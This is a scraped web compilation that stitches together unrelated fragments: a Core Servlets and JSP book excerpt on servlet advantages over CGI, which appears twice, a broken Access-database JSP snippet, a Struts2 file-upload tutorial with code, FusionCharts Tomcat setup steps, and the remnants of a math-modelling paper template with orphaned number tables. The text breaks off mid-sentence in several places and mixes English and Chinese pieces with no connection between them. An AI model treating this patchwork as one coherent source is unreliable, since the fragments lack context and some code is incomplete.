technology there.Now, why are India and the Philippines both so interested? We surmise that the answer is twofold. First, both countries have large pools of well-educated software developers. Second, both countries have (or had, at that time) highly unfavorable currency exchange rates against the U.S. dollar. So, buying a special-purpose Web server from a U.S. company consumed a large part of early project funds.But, with servlets and JSP, they could start with a free server: Apache Tomcat (either standalone, embedded in the regular Apache Web server, or embedded in Microsoft IIS). Once the project starts to become successful, they could move to a server like Caucho Resin that had higher performance and easier administration but that is not free. But none of their servlets or JSP pages have to be rewritten. If their project becomes even larger, they might want to move toa distributed (clustered) environment. No problem: they could move to Macromedia JRun Professional, which supports distributed applications (Web farms). Again, none of their servlets or JSP pages have to be rewritten. If the project becomes quite large and complex, they might want to use Enterprise JavaBeans (EJB) to encapsulate their business logic. So, they might switch to BEA WebLogic or Oracle9i AS. Again, none of their servlets or JSP pages have to be rewritten. Finally, if their project becomes even bigger, they might move it off of their Linux box and onto an IBM mainframe running IBM WebSphere. But once again, none of their servlets or JSP pages have to be rewritten.6.SecureOne of the main sources of vulnerabilities in traditional CGI stems from the fact that the programs are often executed by general-purpose operating system shells. So, the CGI programmer must be careful to filter out characters such as backquotes and semicolons that are treated specially by the shell. Implementing this precaution is harder than one might think, and weaknesses stemming from this problem are constantly being uncovered in widely used CGI libraries.A second source of problems is the fact that some CGI programs are processed by languages that do not automatically check array or string bounds. For example, in C and C++ it is perfectly legal to allocate a 100-element array and then write into the 999th "element," which is really some random part of program memory. So, programmers who forget to perform this check open up their system to deliberate or accidental buffer overflow attacks.Servlets suffer from neither of these problems. Even if a servlet executes a system call (e.g., with Runtime.exec or JNI) to invoke a program on the local operating system, it does not use a shell to do so. And, of course, array bounds checking and othermemory protection features are a central part of the Java programming language.7.MainstreamThere are a lot of good technologies out there. But if vendors don't support them and developers don't know how to use them, what good are they? Servlet and JSP technology is supported by servers from Apache, Oracle, IBM, Sybase, BEA, Macromedia, Caucho, Sun/iPlanet, New Atlanta, ATG, Fujitsu, Lutris, Silverstream, the World Wide Web Consortium (W3C), and many others. Several low-cost plugins add support to Microsoft IIS and Zeus as well. They run on Windows, Unix/Linux, MacOS, VMS, and IBM mainframe operating systems. They are the single most popular application of the Java programming language. They are arguably the most popular choice for developing medium to large Web applications. They are used by the airline industry (most United Airlines and Delta Airlines Web sites), e-commerce (), online banking (First USA Bank, Banco Popular de Puerto Rico), Web search engines/portals (), large financial sites (American Century Investments), and hundreds of other sites that you visit every day.Of course, popularity alone is no proof of good technology. Numerous counter-examples abound. But our point is that you are not experimenting with a new and unproven technology when you work with server-side Java.注:本文来源于中文译文:Servlet和JSP技术简述1.1 Servlet的功能Servlets是运行在Web或应用服务器上的Java程序,它是一个中间层,负责连接来自Web浏览器或其他HTTP客户程序的请求和HTTP服务器上的数据库或应用程序。
ACCESS数据库的两种连接方法

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
//创建语句对象
Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE)
;
// ****数据库连接代码结束******
//*********测试数据代码开始******
ACCESS
方法一:
1、建立一个ACCESS数据库test.mdb,其中建立一个数据库表username,包含两个字段uid和pwd,均为文本型字段。(数据库和表的名称可以自行生成,但要注意在下面代码中的相应位置予以调整)
2、将test.mdb存放在TOMCAT安装目录下的data文件夹中,例如C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\ROOT\data。(数据库的位置根据TOMCAT安装位置的不同适当调整)
out.print("数据库连接错误!,错误信息如下:<br>");
out.print(e.getMessage());
}
//*******测试数据代码结束*******
Struts2实现文件上传
Struts2实现文件上传文件上传,说白了就是个文件复制的过程,文件复制需要什么呢,只需要有源文件和目标地址即可,·用main方法实现的文件复制代码如下:package cn.oracle.upload;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.InputStream;import java.io.OutputStream;public class FileUploadDemo {public static void main(String[] args) throws Exception{File input=new File(args[0]); 参数args[0]是你运行Java程序的时候输入的参数,下面有详细解释:if(!input.exists()){System.out.println("源文件不存在!");System.exit(0);}File output=new File(args[1]);if(!output.getParentFile().exists()){output.mkdirs();}OutputStream outputFile=new FileOutputStream(output);InputStream inputFile=new FileInputStream(input);byte data[]=new byte[1024];int temp=0;while((temp=inputFile.read(data))!=-1){outputFile.write(data, 0, temp);}outputFile.close();inputFile.close();}}例如上图中的Java 运行的程序类名称后面就是参数第一个是d:\1.txt 是一个参数args[0],d:\2.txt是第二个参数args[1]C:\Users\congz_000>java FileUploadDemo d:\1.txt d:\2.txt上面的代码就实现了文件的复制,其实在struts2之中的实现原理是一样的,也就是两个File对象,两个字节流对象,然后调用相应的方法执行的复制而已;在struts2之中实现的复制需要一个表单,将此表单的内容提交到一个action之中,然后struts负责参数的接受处理,赋给相应的变量,编写一个文件复制的方法即可完成文件上传;·给项目添加struts2开发支持,我们用自动配置的方式,用myeclipse帮我们完成,不需要做过多的配置,一路next即可;·新建一个upload.jsp页面<%@page language="java"import="java.util.*"pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath =request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort( )+path+"/";%><!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>文件上传</title></head><body><form action="FileUpload!upload.action"method="post"enctype="multipart/form-data"><input type="file"name="photo"id="photo"> 这个name属性一定要和action之中的File 类对象的名称一致;<input type="submit"value="上传"></form></body></html>·一个用来表示上传成功的页面<%@page language="java"import="java.util.*"pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath =request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort( )+path+"/";%><!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>文件上传</title></head><body><h1>上传成功</h1></body></html>·一个用来表示上传失败的页面<%@page language="java"import="java.util.*"pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath =request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort( )+path+"/";%><!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>文件上传</title></head><body><h2>上传失败!</h2></body></html>·编写相应的上传需要的action FileUploadActionpackage cn.oracle.action;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.InputStream;import java.io.OutputStream;import java.util.UUID;import org.apache.struts2.ServletActionContext;import com.opensymphony.xwork2.ActionSupport;@SuppressWarnings("serial")public class FileUploadAction extends ActionSupport { private File photo;private String photoFileName;public void setPhotoFileName(String photoFileName) { this.photoFileName = photoFileName;}public void setPhoto(File photo) {this.photo = photo;}public String upload(){System.out.println("************");String filePath =ServletActionContext.getServletContext().getRealPath("/upload")+ File.separator+ UUID.randomUUID()+ "."+ this.photoFileName.substring(this.photoFileName.lastIndexOf(".") + 1);if(this.saveFile(this.photo, filePath)){return"success";}return"failure";}public boolean saveFile(File input, String outputFilePath) { File output = new File(outputFilePath);if (!output.getParentFile().exists()) {output.mkdirs();}InputStream inputFile = null;try {inputFile = new FileInputStream(input);} catch (FileNotFoundException e) {e.printStackTrace();}OutputStream outputFile = null;try {outputFile = new FileOutputStream(output);} catch (FileNotFoundException e) {e.printStackTrace();}byte[] data = new byte[1024];int temp = 0;try {while ((temp = inputFile.read(data)) != -1) {outputFile.write(data, 0, temp);}if (inputFile != null) {inputFile.close();}if (outputFile != null) {outputFile.close();}return true;} catch (Exception e) {e.printStackTrace();}return false;}}·配置Struts.xml文件<?xml version="1.0"encoding="UTF-8"?><!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.1//EN""/dtds/struts-2.1.dtd"><struts><package name="main"namespace="/"extends="struts-default"><action name="FileUpload"class="cn.oracle.action.FileUploadAction"> <result name="success">/success.jsp</result><result name="failure">/failure.jsp</result></action></package></struts>·我们还需要配置一个Struts.properties的资源文件,在src之中,设置上传的限制和编码;struts.i18n.encoding=UTF-8struts.multipart.saveDir=/tempstruts.multipart.maxSize=2097152000·我们把项目部署到tomcat或者weblogic之中,按照你的连接访问,整个上传到此就完成了,这是个最简单的上传,没有做任何的修饰,有些上传做的很华丽的,那些都是div+css的功劳,如果你想要那种特效的话,需要研究下css 这个很不错的;。
JSP画图+一些基本知识+FusionCharts
Using with J2EE:首先要配置Myeclipse+Tomcat+JDK+Mysql环境。
当运行tomcat服务器时复制可部署得文件夹中的FusionCharts_J2EE.war 到“CATALINA_HOME/ webapps文件夹。
为了配置MySQL数据库:打开文件“CATALINA_HOME/ webapps/FusionCharts_J2EE/META-INF/context.xml,。
在此XML,请改变用户名,密码,URL根据你的数据库。
context.xml中也包含了Web应用程序上下文,如果你已经改变的情况下,请修改它。
运行的FactoryDBCreation.sql和UTFExampleTablesCreation.sql脚本来创建所需的表和样本数据。
启动Mysql和Tomcat。
请注意从下面网址进入如果你不想使用war文件(如上所述),您可以在Tomcat的部署所有文件夹和文件。
对于这一点,1。
CATALINA_HOME/ webapps中创建一个文件夹FusionCharts_J2EE和子文件夹JSP。
2。
复制Download Package > Code > J2EE文件夹到“CATALINA_HOME”/ webapps/FusionCharts_J2EE/JSP文件夹的。
3。
将Code/J2EE文件夹的WEB-INF文件夹移动到“CATALINA_HOME”/ webapps/FusionCharts_J2EE文件夹下。
4。
将META-INF文件夹中存在的Code/J2EE文件夹移动“CATALINA_HOME”/ webapps/FusionCharts_J2EE文件夹下。
5。
最后,将Download Package > Code下的FusionCharts的文件夹复制到“CATALINA_HOME”/ webapps/FusionCharts_J2EE文件夹下。
外文翻译---Servlet和JSP技术简介
附录一外文原文(摘自Marty Hall and Larry Brown,2000-07,Core Servlets and JavaServer Pages 第一章)An Overview of Servlet and JSP Technology1.1 A Servlet's JobServlets are Java programs that run on Web or application servers, acting as a middle layer between requests coming from Web browsers or other HTTP clients and databases or applications on the HTTP server. Their job is to perform the following tasks, as illustrated in Figure 1-1.Figure 1-11.Read the explicit data sent by the client.The end user normally enters this data in an HTML form on a Web page. However, the data could also come from an applet or a custom HTTP client program.2.Read the implicit HTTP request data sent by the browser.Figure 1-1 shows a single arrow going from the client to the Web server (the layer where servlets and JSP execute), but there are really two varieties of data: the explicit data that the end user enters in a form and the behind-the-scenes HTTP information. Both varieties are critical. The HTTP information includes cookies, information about media types and compression schemes the browser understands, and so on.3.Generate the results.This process may require talking to a database, executing an RMI or EJB call, invoking a Web service, or computing the response directly. Your real data may be in a relational database. Fine. But your database probably doesn't speak HTTP or return results in HTML, so the Web browser can't talk directly to the database. Even if it could, for security reasons, you probably would not want it to. The same argument applies to most other applications.You need the Web middle layer to extract theresultsinside a document.4.Send the explicit data (i.e., the document) to the client.This document can be sent in a variety of formats, including text (HTML or XML), binary (GIF images), or even a compressed format like gzip that is layered on top of some other underlying format. But, HTML is by far the most common format, so an important servlet/JSP task is to wrap the results inside of HTML.5.Send the implicit HTTP response data.Figure 1-1 shows a single arrow going from the Web middle layer (the servlet or JSP page) to the client. But, there are really two varieties of data sent: the document itself and the behind-the-scenes HTTP information. Again, both varieties are critical to effective development. Sending HTTP response data involves telling the browser or other client what type of document is being returned (e.g., HTML), setting cookies and caching parameters, and other such tasks.1.2 Why Build Web Pages Dynamically?Many client requests can be satisfied by prebuilt documents, and the serverwould handle these requests without invoking servlets. In many cases, however, a static result is not sufficient, and a page needs to be generated for each request. There are a number of reasons why Web pages need to be built on-the-fly: 1.The Web page is based on data sent by the client.For instance, the results page from search engines and order-confirmation pages at online stores are specific to particular user requests. You don't know what to display until you read the data that the user submits. Just remember that the user submits two kinds of data: explicit (i.e., HTML form data) and implicit (i.e., HTTP request headers). Either kind of input can be used to build the output page. In particular, it is quite common to build a user-specific page based on a cookie value.2.The Web page is derived from data that changes frequently.If the page changes for every request, then you certainly need to build the response at request time. If it changes only periodically, however, you could do it two ways: you could periodically build a new Web page on the server (independently of client requests), or you could wait and only build the page when the user requests it. The right approach depends on the situation, but sometimes it is more convenient to do the latter: wait for the user request. For example, a weather report or news headlines site might build the pages dynamically, perhaps returning a previously built page if that page is still up to date.3.The Web page uses information from corporate databases or other server-side sources.If the information is in a database, you need server-side processing even ifthe client is using dynamic Web content such as an applet. Imagine using an applet by itself for a search engine site:"Downloading 50 terabyte applet, please wait!" Obviously, that is silly; you need to talk to the database. Going from the client to the Web tier to the database (a three-tier approach) instead of from an applet directly to a database (a two-tier approach) provides increased flexibility and security with little or no performance penalty. After all, the database call is usually the rate-limiting step, so going through the Web server does not slow things down. In fact, a three-tier approach is often faster because the middle tier can perform caching and connection pooling.In principle, servlets are not restricted to Web or application servers that handle HTTP requests but can be used for other types of servers as well. For example, servlets could be embedded in FTP or mail servers to extend their functionality. And, a servlet API for SIP (Session Initiation Protocol) servers was recently standardized (see /en/jsr/detail?id=116). In practice, however, this use of servlets has not caught on, and we'll only be discussing HTTP servlets.1.3 The Advantages of Servlets Over "Traditional" CGIJava servlets are more efficient, easier to use, more powerful, more portable, safer, and cheaper than traditional CGI and many alternative CGI-like technologies.1.EfficientWith traditional CGI, a new process is started for each HTTP request. If the CGI program itself is relatively short, the overhead of starting the process candominate the execution time. With servlets, the Java virtual machine stays running and handles each request with a lightweight Java thread, not a heavyweight operating system process. Similarly, in traditional CGI, if there are N requests to the same CGI program, the code for the CGI program is loaded into memory N times. With servlets, however, there would be N threads, but only a single copy of the servlet class would be loaded. This approach reduces server memory requirements and saves time by instantiating fewer objects. Finally, when a CGI program finishes handling a request, the program terminates. This approach makes it difficult to cache computations, keep database connections open, and perform other optimizations that rely on persistent data. Servlets, however, remain in memory even after they complete a response, so it is straightforward to store arbitrarily complex data between client requests.2.ConvenientServlets have an extensive infrastructure for automatically parsing and decoding HTML form data, reading and setting HTTP headers, handling cookies, tracking sessions, and many other such high-level utilities. In CGI, you have to do much of this yourself. Besides, if you already know the Java programming language, why learn Perl too? You're already convinced that Java technology makes for more reliable and reusable code than does Visual Basic, VBScript, or C++. Why go back to those languages for server-side programming?3.PowerfulServlets support several capabilities that are difficult or impossible to accomplish with regular CGI. Servlets can talk directly to the Web server, whereas regular CGI programs cannot, at least not without using aserver-specific API. Communicating with the Web server makes it easier to translate relative URLs into concrete path names, for instance. Multiple servlets can also share data, making it easy to implement database connection pooling and similar resource-sharing optimizations. Servlets can also maintain information from request to request, simplifying techniques like session tracking and caching of previous computations.4.PortableServlets are written in the Java programming language and follow a standard API. Servlets are supported directly or by a plugin on virtually every major Web server. Consequently, servlets written for, say, Macromedia JRun can run virtually unchanged on Apache Tomcat, Microsoft Internet Information Server (with a separate plugin), IBM WebSphere, iPlanet Enterprise Server, Oracle9i AS, or StarNine WebStar. They are part of the Java 2 Platform, Enterprise Edition (J2EE; see /j2ee/), so industry support for servlets is becoming even more pervasive.5.InexpensiveA number of free or very inexpensive Web servers are good for development use or deployment of low- or medium-volume Web sites. Thus, with servlets and JSP you can start with a free or inexpensive server and migrate to more expensive servers with high-performance capabilities or advanced administration utilities only after yourproject meets initial success. This is in contrast to many of the other CGI alternatives, which require a significant initial investment for the purchase of a proprietarypackage.Price and portability are somewhat connected. For example, Marty tries tokeep track of the countries of readers that send him questions by email. India was near the top of the list, probably #2 behind the U.S. Marty also taught one of his JSP and servlet training courses (see /) in Manila, and there was great interest in servlet and JSP technology there.Now, why are India and the Philippines both so interested? We surmise that the answer is twofold. First, both countries have large pools of well-educated software developers. Second, both countries have (or had, at that time) highly unfavorable currency exchange rates against the U.S. dollar. So, buying a special-purpose Web server from a U.S. company consumed a large part of early project funds.But, with servlets and JSP, they could start with a free server: Apache Tomcat (either standalone, embedded in the regular Apache Web server, or embedded in Microsoft IIS). Once the project starts to become successful, they could move to a server like Caucho Resin that had higher performance and easier administration but that is not free. But none of their servlets or JSP pages have to be rewritten. If their project becomes even larger, they might want to move to a distributed (clustered) environment. No problem: they could move to Macromedia JRun Professional, which supports distributed applications (Web farms). Again, none of their servlets or JSP pages have to be rewritten. If the project becomes quite large and complex, they might want to use Enterprise JavaBeans (EJB) to encapsulate their business logic. So, they might switch to BEA WebLogic or Oracle9i AS. Again, none of their servlets or JSP pages have to be rewritten. Finally, if their project becomes even bigger, they might move it off of their Linux box and onto an IBM mainframe running IBM WebSphere. But once again, none of their servlets or JSP pages have to be rewritten.6.SecureOne of the main sources of vulnerabilities in traditional CGI stems from the fact that the programs are often executed by general-purpose operating system shells. So, the CGI programmer must be careful to filter out characters such as backquotes and semicolons that are treated specially by the shell. Implementing this precaution is harder than one might think, and weaknesses stemming from this problem are constantly being uncovered in widely used CGI libraries.A second source of problems is the fact that some CGI programs are processed by languages that do not automatically check array or string bounds. For example, in C and C++ it is perfectly legal to allocate a 100-element array and then write into the 999th "element," which is really some random part of program memory. So, programmers who forget to perform this check open up their system to deliberate or accidental buffer overflow attacks.Servlets suffer from neither of these problems. Even if a servlet executes a system call (e.g., with Runtime.exec or JNI) to invoke a program on the local operating system, it does not use a shell to do so. And, of course, array bounds checking and other memory protection features are a central part of the Java programming language.7.MainstreamThere are a lot of good technologies out there. But if vendors don't support them and developers don't know how to use them, what good are they? Servlet and JSP technology is supported by servers from Apache, Oracle, IBM, Sybase, BEA, Macromedia, Caucho, Sun/iPlanet, New Atlanta, ATG, Fujitsu, Lutris, Silverstream, the World Wide Web Consortium (W3C), and many others.Several low-cost plugins add support to Microsoft IIS and Zeus as well. They run on Windows, Unix/Linux, MacOS, VMS, and IBM mainframe operating systems. They are the single most popular application of the Java programming language. They are arguably the most popular choice for developing medium to large Web applications. They are used by the airline industry (most United Airlines and Delta Airlines Web sites), e-commerce (), online banking (First USA Bank, Banco Popular de Puerto Rico), Web search engines/portals (), large financial sites (American Century Investments), and hundreds of other sites that you visit every day.Of course, popularity alone is no proof of good technology. Numerous counter-examples abound. But our point is that you are not experimenting with a new and unproven technology when you work with server-side Java.附录二中文翻译Servlet和JSP技术简介1.1 Servlet的功能Servlets是运行在Web或应用服务器上的Java程序,它是一个中间层,负责连接来自Web浏览器或其他HTTP客户端和HTTP服务器上的数据库或应用程序。
数学建模论文模板(包含所有自动编号)
Motoneuron
Bipolar
Multipolar
Sensory
Purkinje
Tripolar
pCluster_0_0
49.3166
5.4473
-8.3991
-4.7898
-4.371
3.5801
pCluster_0_1
52.3381
5.7811
-8.9137
-5.0833
-4.6388
x x …x
…
…
A
x x …x
图及图示自动编号
示例图1
图1图示自动编号
示例图2
图2图示自动编号
参考文献
[1]/view/95130.htm
[2]/neuroMorpho/index.jsp
[3]张晓华等.基于Fisherface和组合KNN分类器的人脸识别算法[J].河北科技师范学院学报 第22卷第2期, 2008年6月,36-40.
3.5666
9.40
0.94
820.20
0.46
1.11
49.43
49.22
2
13392.2
229.98
279.02
25.17
0.95
3046.17
0.51
1.67
80.54
70.73
3
5251.47
635.47
900.88
9.43
0.86
1708.57
0.47
1.40
59.92
41.13
4
2746.81
372.82
% 运行环境:windows XP ,MATLAB 7.8.0